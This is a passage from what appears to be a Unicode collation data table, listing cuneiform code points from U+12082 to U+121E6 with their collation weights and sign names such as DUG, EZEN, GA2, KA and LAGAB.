CUNEIFORM SIGN DUG -12082 ; [.4A37.0020.0002] # CUNEIFORM SIGN DUGUD -12083 ; [.4A38.0020.0002] # CUNEIFORM SIGN DUH -12084 ; [.4A39.0020.0002] # CUNEIFORM SIGN DUN -12085 ; [.4A3A.0020.0002] # CUNEIFORM SIGN DUN3 -12086 ; [.4A3B.0020.0002] # CUNEIFORM SIGN DUN3 GUNU -12087 ; [.4A3C.0020.0002] # CUNEIFORM SIGN DUN3 GUNU GUNU -12088 ; [.4A3D.0020.0002] # CUNEIFORM SIGN DUN4 -12089 ; [.4A3E.0020.0002] # CUNEIFORM SIGN DUR2 -1208A ; [.4A3F.0020.0002] # CUNEIFORM SIGN E -1208B ; [.4A40.0020.0002] # CUNEIFORM SIGN E TIMES PAP -1208C ; [.4A41.0020.0002] # CUNEIFORM SIGN E OVER E NUN OVER NUN -1208D ; [.4A42.0020.0002] # CUNEIFORM SIGN E2 -1208E ; [.4A43.0020.0002] # CUNEIFORM SIGN E2 TIMES A PLUS HA PLUS DA -1208F ; [.4A44.0020.0002] # CUNEIFORM SIGN E2 TIMES GAR -12090 ; [.4A45.0020.0002] # CUNEIFORM SIGN E2 TIMES MI -12091 ; [.4A46.0020.0002] # CUNEIFORM SIGN E2 TIMES SAL -12092 ; [.4A47.0020.0002] # CUNEIFORM SIGN E2 TIMES SHE -12093 ; [.4A48.0020.0002] # CUNEIFORM SIGN E2 TIMES U -12094 ; [.4A49.0020.0002] # CUNEIFORM SIGN EDIN -12095 ; [.4A4A.0020.0002] # CUNEIFORM SIGN EGIR -12096 ; [.4A4B.0020.0002] # CUNEIFORM SIGN EL -12097 ; [.4A4C.0020.0002] # CUNEIFORM SIGN EN -12098 ; [.4A4D.0020.0002] # CUNEIFORM SIGN EN TIMES GAN2 -12099 ; [.4A4E.0020.0002] # CUNEIFORM SIGN EN TIMES GAN2 TENU -1209A ; [.4A4F.0020.0002] # CUNEIFORM SIGN EN TIMES ME -1209B ; [.4A50.0020.0002] # CUNEIFORM SIGN EN CROSSING EN -1209C ; [.4A51.0020.0002] # CUNEIFORM SIGN EN OPPOSING EN -1209D ; [.4A52.0020.0002] # CUNEIFORM SIGN EN SQUARED -1209E ; [.4A53.0020.0002] # CUNEIFORM SIGN EREN -1209F ; [.4A54.0020.0002] # CUNEIFORM SIGN ERIN2 -120A0 ; [.4A55.0020.0002] # CUNEIFORM SIGN ESH2 -120A1 ; [.4A56.0020.0002] # CUNEIFORM SIGN EZEN -120A2 ; [.4A57.0020.0002] # CUNEIFORM SIGN EZEN TIMES A -120A3 ; [.4A58.0020.0002] # CUNEIFORM SIGN EZEN TIMES A PLUS LAL -120A4 ; [.4A59.0020.0002] # CUNEIFORM SIGN EZEN TIMES A PLUS LAL TIMES LAL -120A5 ; [.4A5A.0020.0002] # CUNEIFORM SIGN EZEN TIMES AN -120A6 ; [.4A5B.0020.0002] # CUNEIFORM SIGN EZEN TIMES BAD -120A7 ; [.4A5C.0020.0002] # CUNEIFORM SIGN EZEN TIMES DUN3 GUNU -120A8 ; [.4A5D.0020.0002] # CUNEIFORM SIGN EZEN TIMES DUN3 GUNU GUNU -120A9 ; [.4A5E.0020.0002] # CUNEIFORM SIGN EZEN TIMES HA -120AA ; [.4A5F.0020.0002] # CUNEIFORM SIGN EZEN TIMES HA GUNU -120AB ; [.4A60.0020.0002] # CUNEIFORM SIGN EZEN TIMES IGI GUNU -120AC ; [.4A61.0020.0002] # CUNEIFORM SIGN EZEN TIMES KASKAL -120AD ; [.4A62.0020.0002] # CUNEIFORM SIGN EZEN TIMES KASKAL SQUARED -120AE ; [.4A63.0020.0002] # CUNEIFORM SIGN EZEN TIMES KU3 -120AF ; [.4A64.0020.0002] # CUNEIFORM SIGN EZEN TIMES LA -120B0 ; [.4A65.0020.0002] # CUNEIFORM SIGN EZEN TIMES LAL TIMES LAL -120B1 ; [.4A66.0020.0002] # CUNEIFORM SIGN EZEN TIMES LI -120B2 ; [.4A67.0020.0002] # CUNEIFORM SIGN EZEN TIMES LU -120B3 ; [.4A68.0020.0002] # CUNEIFORM SIGN EZEN TIMES U2 -120B4 ; [.4A69.0020.0002] # CUNEIFORM SIGN EZEN TIMES UD -120B5 ; [.4A6A.0020.0002] # CUNEIFORM SIGN GA -120B6 ; [.4A6B.0020.0002] # CUNEIFORM SIGN GA GUNU -120B7 ; [.4A6C.0020.0002] # CUNEIFORM SIGN GA2 -120B8 ; [.4A6D.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS DA PLUS HA -120B9 ; [.4A6E.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS HA -120BA ; [.4A6F.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS IGI -120BB ; [.4A70.0020.0002] # CUNEIFORM SIGN GA2 TIMES AB2 TENU PLUS TAB -120BC ; [.4A71.0020.0002] # CUNEIFORM SIGN GA2 TIMES AN -120BD ; [.4A72.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH -120BE ; [.4A73.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH2 PLUS GAL -120BF ; [.4A74.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAD -120C0 ; [.4A75.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAR PLUS RA -120C1 ; [.4A76.0020.0002] # CUNEIFORM SIGN GA2 TIMES BUR -120C2 ; [.4A77.0020.0002] # CUNEIFORM SIGN GA2 TIMES BUR PLUS RA -120C3 ; [.4A78.0020.0002] # CUNEIFORM SIGN GA2 TIMES DA -120C4 ; [.4A79.0020.0002] # CUNEIFORM SIGN GA2 TIMES DI -120C5 ; [.4A7A.0020.0002] # CUNEIFORM SIGN GA2 TIMES DIM TIMES SHE -120C6 ; [.4A7B.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUB -120C7 ; [.4A7C.0020.0002] # CUNEIFORM SIGN GA2 TIMES EL -120C8 ; [.4A7D.0020.0002] # CUNEIFORM SIGN GA2 TIMES EL PLUS LA -120C9 ; [.4A7E.0020.0002] # CUNEIFORM SIGN GA2 TIMES EN -120CA ; [.4A7F.0020.0002] # CUNEIFORM SIGN GA2 TIMES EN TIMES GAN2 TENU -120CB ; [.4A80.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAN2 TENU -120CC ; [.4A81.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR -120CD ; [.4A82.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI -120CE ; [.4A83.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI4 -120CF ; [.4A84.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI4 PLUS A -120D0 ; [.4A85.0020.0002] # CUNEIFORM SIGN GA2 TIMES GIR2 PLUS SU -120D1 ; [.4A86.0020.0002] # CUNEIFORM SIGN GA2 TIMES HA PLUS LU PLUS ESH2 -120D2 ; [.4A87.0020.0002] # CUNEIFORM SIGN GA2 TIMES HAL -120D3 ; [.4A88.0020.0002] # CUNEIFORM SIGN GA2 TIMES HAL PLUS LA -120D4 ; [.4A89.0020.0002] # CUNEIFORM SIGN GA2 TIMES HI PLUS LI -120D5 ; [.4A8A.0020.0002] # CUNEIFORM SIGN GA2 TIMES HUB2 -120D6 ; [.4A8B.0020.0002] # CUNEIFORM SIGN GA2 TIMES IGI GUNU -120D7 ; [.4A8C.0020.0002] # CUNEIFORM SIGN GA2 TIMES ISH PLUS HU PLUS ASH -120D8 ; [.4A8D.0020.0002] # CUNEIFORM SIGN GA2 TIMES KAK -120D9 ; [.4A8E.0020.0002] # CUNEIFORM SIGN GA2 TIMES KASKAL -120DA ; [.4A8F.0020.0002] # CUNEIFORM SIGN GA2 TIMES KID -120DB ; [.4A90.0020.0002] # CUNEIFORM SIGN GA2 TIMES KID PLUS LAL -120DC ; [.4A91.0020.0002] # CUNEIFORM SIGN GA2 TIMES KU3 PLUS AN -120DD ; [.4A92.0020.0002] # CUNEIFORM SIGN GA2 TIMES LA -120DE ; [.4A93.0020.0002] # CUNEIFORM SIGN GA2 TIMES ME PLUS EN -120DF ; [.4A94.0020.0002] # CUNEIFORM SIGN GA2 TIMES MI -120E0 ; [.4A95.0020.0002] # CUNEIFORM SIGN GA2 TIMES NUN -120E1 ; [.4A96.0020.0002] # CUNEIFORM SIGN GA2 TIMES NUN OVER NUN -120E2 ; [.4A97.0020.0002] # CUNEIFORM SIGN GA2 TIMES PA -120E3 ; [.4A98.0020.0002] # CUNEIFORM SIGN GA2 TIMES SAL -120E4 ; [.4A99.0020.0002] # CUNEIFORM SIGN GA2 TIMES SAR -120E5 ; [.4A9A.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHE -120E6 ; [.4A9B.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHE PLUS TUR -120E7 ; [.4A9C.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHID -120E8 ; [.4A9D.0020.0002] # CUNEIFORM SIGN GA2 TIMES SUM -120E9 ; [.4A9E.0020.0002] # CUNEIFORM SIGN GA2 TIMES TAK4 -120EA ; [.4A9F.0020.0002] # CUNEIFORM SIGN GA2 TIMES U -120EB ; [.4AA0.0020.0002] # CUNEIFORM SIGN GA2 TIMES UD -120EC ; [.4AA1.0020.0002] # CUNEIFORM SIGN GA2 TIMES UD PLUS DU -120ED ; [.4AA2.0020.0002] # CUNEIFORM SIGN GA2 OVER GA2 -120EE ; [.4AA3.0020.0002] # CUNEIFORM SIGN GABA -120EF ; [.4AA4.0020.0002] # CUNEIFORM SIGN GABA CROSSING GABA -120F0 ; [.4AA5.0020.0002] # CUNEIFORM SIGN GAD -120F1 ; [.4AA6.0020.0002] # CUNEIFORM SIGN GAD OVER GAD GAR OVER GAR -120F2 ; [.4AA7.0020.0002] # CUNEIFORM SIGN GAL -120F3 ; [.4AA8.0020.0002] # CUNEIFORM SIGN GAL GAD OVER GAD GAR OVER GAR -120F4 ; [.4AA9.0020.0002] # CUNEIFORM SIGN GALAM -120F5 ; [.4AAA.0020.0002] # CUNEIFORM SIGN GAM -120F6 ; [.4AAB.0020.0002] # CUNEIFORM SIGN GAN -120F7 ; [.4AAC.0020.0002] # CUNEIFORM SIGN GAN2 -120F8 ; [.4AAD.0020.0002] # CUNEIFORM SIGN GAN2 TENU -120F9 ; [.4AAE.0020.0002] # CUNEIFORM SIGN GAN2 OVER GAN2 -120FA ; [.4AAF.0020.0002] # CUNEIFORM SIGN GAN2 CROSSING GAN2 -120FB ; [.4AB0.0020.0002] # CUNEIFORM SIGN GAR -120FC ; [.4AB1.0020.0002] # CUNEIFORM SIGN GAR3 -120FD ; [.4AB2.0020.0002] # CUNEIFORM SIGN GASHAN -120FE ; [.4AB3.0020.0002] # CUNEIFORM SIGN GESHTIN -120FF ; [.4AB4.0020.0002] # CUNEIFORM SIGN GESHTIN TIMES KUR -12100 ; [.4AB5.0020.0002] # CUNEIFORM SIGN GI -12101 ; [.4AB6.0020.0002] # CUNEIFORM SIGN GI TIMES E -12102 ; [.4AB7.0020.0002] # CUNEIFORM SIGN GI TIMES U -12103 ; [.4AB8.0020.0002] # CUNEIFORM SIGN GI CROSSING GI -12104 ; [.4AB9.0020.0002] # CUNEIFORM SIGN GI4 -12105 ; [.4ABA.0020.0002] # CUNEIFORM SIGN GI4 OVER GI4 -12106 ; [.4ABB.0020.0002] # CUNEIFORM SIGN GI4 CROSSING GI4 -12107 ; [.4ABC.0020.0002] # CUNEIFORM SIGN GIDIM -12108 ; [.4ABD.0020.0002] # CUNEIFORM SIGN GIR2 -12109 ; [.4ABE.0020.0002] # CUNEIFORM SIGN GIR2 GUNU -1210A ; [.4ABF.0020.0002] # CUNEIFORM SIGN GIR3 -1210B ; [.4AC0.0020.0002] # CUNEIFORM SIGN GIR3 TIMES A PLUS IGI -1210C ; [.4AC1.0020.0002] # CUNEIFORM SIGN GIR3 TIMES GAN2 TENU -1210D ; [.4AC2.0020.0002] # CUNEIFORM SIGN GIR3 TIMES IGI -1210E ; [.4AC3.0020.0002] # CUNEIFORM SIGN GIR3 TIMES LU PLUS IGI -1210F ; [.4AC4.0020.0002] # CUNEIFORM SIGN GIR3 TIMES PA -12110 ; [.4AC5.0020.0002] # CUNEIFORM SIGN GISAL -12111 ; [.4AC6.0020.0002] # CUNEIFORM SIGN GISH -12112 ; [.4AC7.0020.0002] # CUNEIFORM SIGN GISH CROSSING GISH -12113 ; [.4AC8.0020.0002] # CUNEIFORM SIGN GISH TIMES BAD -12114 ; [.4AC9.0020.0002] # CUNEIFORM SIGN GISH TIMES TAK4 -12115 ; [.4ACA.0020.0002] # CUNEIFORM SIGN GISH TENU -12116 ; [.4ACB.0020.0002] # CUNEIFORM SIGN GU -12117 ; [.4ACC.0020.0002] # CUNEIFORM SIGN GU CROSSING GU -12118 ; [.4ACD.0020.0002] # CUNEIFORM SIGN GU2 -12119 ; [.4ACE.0020.0002] # CUNEIFORM SIGN GU2 TIMES KAK -1211A ; [.4ACF.0020.0002] # CUNEIFORM SIGN GU2 TIMES KAK TIMES IGI GUNU -1211B ; [.4AD0.0020.0002] # CUNEIFORM SIGN GU2 TIMES NUN -1211C ; [.4AD1.0020.0002] # CUNEIFORM SIGN GU2 TIMES SAL PLUS TUG2 -1211D ; [.4AD2.0020.0002] # CUNEIFORM SIGN GU2 GUNU -1211E ; [.4AD3.0020.0002] # CUNEIFORM SIGN GUD -1211F ; [.4AD4.0020.0002] # CUNEIFORM SIGN GUD TIMES A PLUS KUR -12120 ; [.4AD5.0020.0002] # CUNEIFORM SIGN GUD TIMES KUR -12121 ; [.4AD6.0020.0002] # CUNEIFORM SIGN GUD OVER GUD LUGAL -12122 ; [.4AD7.0020.0002] # CUNEIFORM SIGN GUL -12123 ; [.4AD8.0020.0002] # CUNEIFORM SIGN GUM -12124 ; [.4AD9.0020.0002] # CUNEIFORM SIGN GUM TIMES SHE -12125 ; [.4ADA.0020.0002] # CUNEIFORM SIGN GUR -12126 ; [.4ADB.0020.0002] # CUNEIFORM SIGN GUR7 -12127 ; [.4ADC.0020.0002] # CUNEIFORM SIGN GURUN -12128 ; [.4ADD.0020.0002] # CUNEIFORM SIGN GURUSH -12129 ; [.4ADE.0020.0002] # CUNEIFORM SIGN HA -1212A ; [.4ADF.0020.0002] # CUNEIFORM SIGN HA TENU -1212B ; [.4AE0.0020.0002] # CUNEIFORM SIGN HA GUNU -1212C ; [.4AE1.0020.0002] # CUNEIFORM SIGN HAL -1212D ; [.4AE2.0020.0002] # CUNEIFORM SIGN HI -1212E ; [.4AE3.0020.0002] # CUNEIFORM SIGN HI TIMES ASH -1212F ; [.4AE4.0020.0002] # CUNEIFORM SIGN HI TIMES ASH2 -12130 ; [.4AE5.0020.0002] # CUNEIFORM SIGN HI TIMES BAD -12131 ; [.4AE6.0020.0002] # CUNEIFORM SIGN HI TIMES DISH -12132 ; [.4AE7.0020.0002] # CUNEIFORM SIGN HI TIMES GAD -12133 ; [.4AE8.0020.0002] # CUNEIFORM SIGN HI TIMES KIN -12134 ; [.4AE9.0020.0002] # CUNEIFORM SIGN HI TIMES NUN -12135 ; [.4AEA.0020.0002] # CUNEIFORM SIGN HI TIMES SHE -12136 ; [.4AEB.0020.0002] # CUNEIFORM SIGN HI TIMES U -12137 ; [.4AEC.0020.0002] # CUNEIFORM SIGN HU -12138 ; [.4AED.0020.0002] # CUNEIFORM SIGN HUB2 -12139 ; [.4AEE.0020.0002] # CUNEIFORM SIGN HUB2 TIMES AN -1213A ; [.4AEF.0020.0002] # CUNEIFORM SIGN HUB2 TIMES HAL -1213B ; [.4AF0.0020.0002] # CUNEIFORM SIGN HUB2 TIMES KASKAL -1213C ; [.4AF1.0020.0002] # CUNEIFORM SIGN HUB2 TIMES LISH -1213D ; [.4AF2.0020.0002] # CUNEIFORM SIGN HUB2 TIMES UD -1213E ; [.4AF3.0020.0002] # CUNEIFORM SIGN HUL2 -1213F ; [.4AF4.0020.0002] # CUNEIFORM SIGN I -12140 ; [.4AF5.0020.0002] # CUNEIFORM SIGN I A -12141 ; [.4AF6.0020.0002] # CUNEIFORM SIGN IB -12142 ; [.4AF7.0020.0002] # CUNEIFORM SIGN IDIM -12143 ; [.4AF8.0020.0002] # CUNEIFORM SIGN IDIM OVER IDIM BUR -12144 ; [.4AF9.0020.0002] # CUNEIFORM SIGN IDIM OVER IDIM SQUARED -12145 ; [.4AFA.0020.0002] # CUNEIFORM SIGN IG -12146 ; [.4AFB.0020.0002] # CUNEIFORM SIGN IGI -12147 ; [.4AFC.0020.0002] # CUNEIFORM SIGN IGI DIB -12148 ; [.4AFD.0020.0002] # CUNEIFORM SIGN IGI RI -12149 ; [.4AFE.0020.0002] # CUNEIFORM SIGN IGI OVER IGI SHIR OVER SHIR UD OVER UD -1214A ; [.4AFF.0020.0002] # CUNEIFORM SIGN IGI GUNU -1214B ; [.4B00.0020.0002] # CUNEIFORM SIGN IL -1214C ; [.4B01.0020.0002] # CUNEIFORM SIGN IL TIMES GAN2 TENU -1214D ; [.4B02.0020.0002] # CUNEIFORM SIGN IL2 -1214E ; [.4B03.0020.0002] # CUNEIFORM SIGN IM -1214F ; [.4B04.0020.0002] # CUNEIFORM SIGN IM TIMES TAK4 -12150 ; [.4B05.0020.0002] # CUNEIFORM SIGN IM CROSSING IM -12151 ; [.4B06.0020.0002] # CUNEIFORM SIGN IM OPPOSING IM -12152 ; [.4B07.0020.0002] # CUNEIFORM SIGN IM SQUARED -12153 ; [.4B08.0020.0002] # CUNEIFORM SIGN IMIN -12154 ; [.4B09.0020.0002] # CUNEIFORM SIGN IN -12155 ; [.4B0A.0020.0002] # CUNEIFORM SIGN IR -12156 ; [.4B0B.0020.0002] # CUNEIFORM SIGN ISH -12157 ; [.4B0C.0020.0002] # CUNEIFORM SIGN KA -12158 ; [.4B0D.0020.0002] # CUNEIFORM SIGN KA TIMES A -12159 ; [.4B0E.0020.0002] # CUNEIFORM SIGN KA TIMES AD -1215A ; [.4B0F.0020.0002] # CUNEIFORM SIGN KA TIMES AD PLUS KU3 -1215B ; [.4B10.0020.0002] # CUNEIFORM SIGN KA TIMES ASH2 -1215C ; [.4B11.0020.0002] # CUNEIFORM SIGN KA TIMES BAD -1215D ; [.4B12.0020.0002] # CUNEIFORM SIGN KA TIMES BALAG -1215E ; [.4B13.0020.0002] # CUNEIFORM SIGN KA TIMES BAR -1215F ; [.4B14.0020.0002] # CUNEIFORM SIGN KA TIMES BI -12160 ; [.4B15.0020.0002] # CUNEIFORM SIGN KA TIMES ERIN2 -12161 ; [.4B16.0020.0002] # CUNEIFORM SIGN KA TIMES ESH2 -12162 ; [.4B17.0020.0002] # CUNEIFORM SIGN KA TIMES GA -12163 ; [.4B18.0020.0002] # CUNEIFORM SIGN KA TIMES GAL -12164 ; [.4B19.0020.0002] # CUNEIFORM SIGN KA TIMES GAN2 TENU -12165 ; [.4B1A.0020.0002] # CUNEIFORM SIGN KA TIMES GAR -12166 ; [.4B1B.0020.0002] # CUNEIFORM SIGN KA TIMES GAR PLUS SHA3 PLUS A -12167 ; [.4B1C.0020.0002] # CUNEIFORM SIGN KA TIMES GI -12168 ; [.4B1D.0020.0002] # CUNEIFORM SIGN KA TIMES GIR2 -12169 ; [.4B1E.0020.0002] # CUNEIFORM SIGN KA TIMES GISH PLUS SAR -1216A ; [.4B1F.0020.0002] # CUNEIFORM SIGN KA TIMES GISH CROSSING GISH -1216B ; [.4B20.0020.0002] # CUNEIFORM SIGN KA TIMES GU -1216C ; [.4B21.0020.0002] # CUNEIFORM SIGN KA TIMES GUR7 -1216D ; [.4B22.0020.0002] # CUNEIFORM SIGN KA TIMES IGI -1216E ; [.4B23.0020.0002] # CUNEIFORM SIGN KA TIMES IM -1216F ; [.4B24.0020.0002] # CUNEIFORM SIGN KA TIMES KAK -12170 ; [.4B25.0020.0002] # CUNEIFORM SIGN KA TIMES KI -12171 ; [.4B26.0020.0002] # CUNEIFORM SIGN KA TIMES KID -12172 ; [.4B27.0020.0002] # CUNEIFORM SIGN KA TIMES LI -12173 ; [.4B28.0020.0002] # CUNEIFORM SIGN KA TIMES LU -12174 ; [.4B29.0020.0002] # CUNEIFORM SIGN KA TIMES ME -12175 ; [.4B2A.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS DU -12176 ; [.4B2B.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS GI -12177 ; [.4B2C.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS TE -12178 ; [.4B2D.0020.0002] # CUNEIFORM SIGN KA TIMES MI -12179 ; [.4B2E.0020.0002] # CUNEIFORM SIGN KA TIMES MI PLUS NUNUZ -1217A ; [.4B2F.0020.0002] # CUNEIFORM SIGN KA TIMES NE -1217B ; [.4B30.0020.0002] # CUNEIFORM SIGN KA TIMES NUN -1217C ; [.4B31.0020.0002] # CUNEIFORM SIGN KA TIMES PI -1217D ; [.4B32.0020.0002] # CUNEIFORM SIGN KA TIMES RU -1217E ; [.4B33.0020.0002] # CUNEIFORM SIGN KA TIMES SA -1217F ; [.4B34.0020.0002] # CUNEIFORM SIGN KA TIMES SAR -12180 ; [.4B35.0020.0002] # CUNEIFORM SIGN KA TIMES SHA -12181 ; [.4B36.0020.0002] # CUNEIFORM SIGN KA TIMES SHE -12182 ; [.4B37.0020.0002] # CUNEIFORM SIGN KA TIMES SHID -12183 ; [.4B38.0020.0002] # CUNEIFORM SIGN KA TIMES SHU -12184 ; [.4B39.0020.0002] # CUNEIFORM SIGN KA TIMES SIG -12185 ; [.4B3A.0020.0002] # CUNEIFORM SIGN KA TIMES SUHUR -12186 ; [.4B3B.0020.0002] # CUNEIFORM SIGN KA TIMES TAR -12187 ; [.4B3C.0020.0002] # CUNEIFORM SIGN KA TIMES U -12188 ; [.4B3D.0020.0002] # CUNEIFORM SIGN KA TIMES U2 -12189 ; [.4B3E.0020.0002] # CUNEIFORM SIGN KA TIMES UD -1218A ; [.4B3F.0020.0002] # CUNEIFORM SIGN KA TIMES UMUM TIMES PA -1218B ; [.4B40.0020.0002] # CUNEIFORM SIGN KA TIMES USH -1218C ; [.4B41.0020.0002] # CUNEIFORM SIGN KA TIMES ZI -1218D ; [.4B42.0020.0002] # CUNEIFORM SIGN KA2 -1218E ; [.4B43.0020.0002] # CUNEIFORM SIGN KA2 CROSSING KA2 -1218F ; [.4B44.0020.0002] # CUNEIFORM SIGN KAB -12190 ; [.4B45.0020.0002] # CUNEIFORM SIGN KAD2 -12191 ; [.4B46.0020.0002] # CUNEIFORM SIGN KAD3 -12192 ; [.4B47.0020.0002] # CUNEIFORM SIGN KAD4 -12193 ; [.4B48.0020.0002] # CUNEIFORM SIGN KAD5 -12194 ; [.4B49.0020.0002] # CUNEIFORM SIGN KAD5 OVER KAD5 -12195 ; [.4B4A.0020.0002] # CUNEIFORM SIGN KAK -12196 ; [.4B4B.0020.0002] # CUNEIFORM SIGN KAK TIMES IGI GUNU -12197 ; [.4B4C.0020.0002] # CUNEIFORM SIGN KAL -12198 ; [.4B4D.0020.0002] # CUNEIFORM SIGN KAL TIMES BAD -12199 ; [.4B4E.0020.0002] # CUNEIFORM SIGN KAL CROSSING KAL -1219A ; [.4B4F.0020.0002] # CUNEIFORM SIGN KAM2 -1219B ; [.4B50.0020.0002] # CUNEIFORM SIGN KAM4 -1219C ; [.4B51.0020.0002] # CUNEIFORM SIGN KASKAL -1219D ; [.4B52.0020.0002] # CUNEIFORM SIGN KASKAL LAGAB TIMES U OVER LAGAB TIMES U -1219E ; [.4B53.0020.0002] # CUNEIFORM SIGN KASKAL OVER KASKAL LAGAB TIMES U OVER LAGAB TIMES U -1219F ; [.4B54.0020.0002] # CUNEIFORM SIGN KESH2 -121A0 ; [.4B55.0020.0002] # CUNEIFORM SIGN KI -121A1 ; [.4B56.0020.0002] # CUNEIFORM SIGN KI TIMES BAD -121A2 ; [.4B57.0020.0002] # CUNEIFORM SIGN KI TIMES U -121A3 ; [.4B58.0020.0002] # CUNEIFORM SIGN KI TIMES UD -121A4 ; [.4B59.0020.0002] # CUNEIFORM SIGN KID -121A5 ; [.4B5A.0020.0002] # CUNEIFORM SIGN KIN -121A6 ; [.4B5B.0020.0002] # CUNEIFORM SIGN KISAL -121A7 ; [.4B5C.0020.0002] # CUNEIFORM SIGN KISH -121A8 ; [.4B5D.0020.0002] # CUNEIFORM SIGN KISIM5 -121A9 ; [.4B5E.0020.0002] # CUNEIFORM SIGN KISIM5 OVER KISIM5 -121AA ; [.4B5F.0020.0002] # CUNEIFORM SIGN KU -121AB ; [.4B60.0020.0002] # CUNEIFORM SIGN KU OVER HI TIMES ASH2 KU OVER HI TIMES ASH2 -121AC ; [.4B61.0020.0002] # CUNEIFORM SIGN KU3 -121AD ; [.4B62.0020.0002] # CUNEIFORM SIGN KU4 -121AE ; [.4B63.0020.0002] # CUNEIFORM SIGN KU4 VARIANT FORM -121AF ; [.4B64.0020.0002] # CUNEIFORM SIGN KU7 -121B0 ; [.4B65.0020.0002] # CUNEIFORM SIGN KUL -121B1 ; [.4B66.0020.0002] # CUNEIFORM SIGN KUL GUNU -121B2 ; [.4B67.0020.0002] # CUNEIFORM SIGN KUN -121B3 ; [.4B68.0020.0002] # CUNEIFORM SIGN KUR -121B4 ; [.4B69.0020.0002] # CUNEIFORM SIGN KUR OPPOSING KUR -121B5 ; [.4B6A.0020.0002] # CUNEIFORM SIGN KUSHU2 -121B6 ; [.4B6B.0020.0002] # CUNEIFORM SIGN KWU318 -121B7 ; [.4B6C.0020.0002] # CUNEIFORM SIGN LA -121B8 ; [.4B6D.0020.0002] # CUNEIFORM SIGN LAGAB -121B9 ; [.4B6E.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A -121BA ; [.4B6F.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS DA PLUS HA -121BB ; [.4B70.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS GAR -121BC ; [.4B71.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS LAL -121BD ; [.4B72.0020.0002] # CUNEIFORM SIGN LAGAB TIMES AL -121BE ; [.4B73.0020.0002] # CUNEIFORM SIGN LAGAB TIMES AN -121BF ; [.4B74.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ASH ZIDA TENU -121C0 ; [.4B75.0020.0002] # CUNEIFORM SIGN LAGAB TIMES BAD -121C1 ; [.4B76.0020.0002] # CUNEIFORM SIGN LAGAB TIMES BI -121C2 ; [.4B77.0020.0002] # CUNEIFORM SIGN LAGAB TIMES DAR -121C3 ; [.4B78.0020.0002] # CUNEIFORM SIGN LAGAB TIMES EN -121C4 ; [.4B79.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GA -121C5 ; [.4B7A.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GAR -121C6 ; [.4B7B.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GUD -121C7 ; [.4B7C.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GUD PLUS GUD -121C8 ; [.4B7D.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HA -121C9 ; [.4B7E.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HAL -121CA ; [.4B7F.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HI TIMES NUN -121CB ; [.4B80.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IGI GUNU -121CC ; [.4B81.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM -121CD ; [.4B82.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM PLUS HA -121CE ; [.4B83.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM PLUS LU -121CF ; [.4B84.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KI -121D0 ; [.4B85.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KIN -121D1 ; [.4B86.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KU3 -121D2 ; [.4B87.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KUL -121D3 ; [.4B88.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KUL PLUS HI PLUS A -121D4 ; [.4B89.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LAGAB -121D5 ; [.4B8A.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LISH -121D6 ; [.4B8B.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LU -121D7 ; [.4B8C.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LUL -121D8 ; [.4B8D.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ME -121D9 ; [.4B8E.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ME PLUS EN -121DA ; [.4B8F.0020.0002] # CUNEIFORM SIGN LAGAB TIMES MUSH -121DB ; [.4B90.0020.0002] # CUNEIFORM SIGN LAGAB TIMES NE -121DC ; [.4B91.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHE PLUS SUM -121DD ; [.4B92.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHITA PLUS GISH PLUS ERIN2 -121DE ; [.4B93.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHITA PLUS GISH TENU -121DF ; [.4B94.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHU2 -121E0 ; [.4B95.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHU2 PLUS SHU2 -121E1 ; [.4B96.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SUM -121E2 ; [.4B97.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TAG -121E3 ; [.4B98.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TAK4 -121E4 ; [.4B99.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TE PLUS A PLUS SU PLUS NA -121E5 ; [.4B9A.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U -121E6 ; 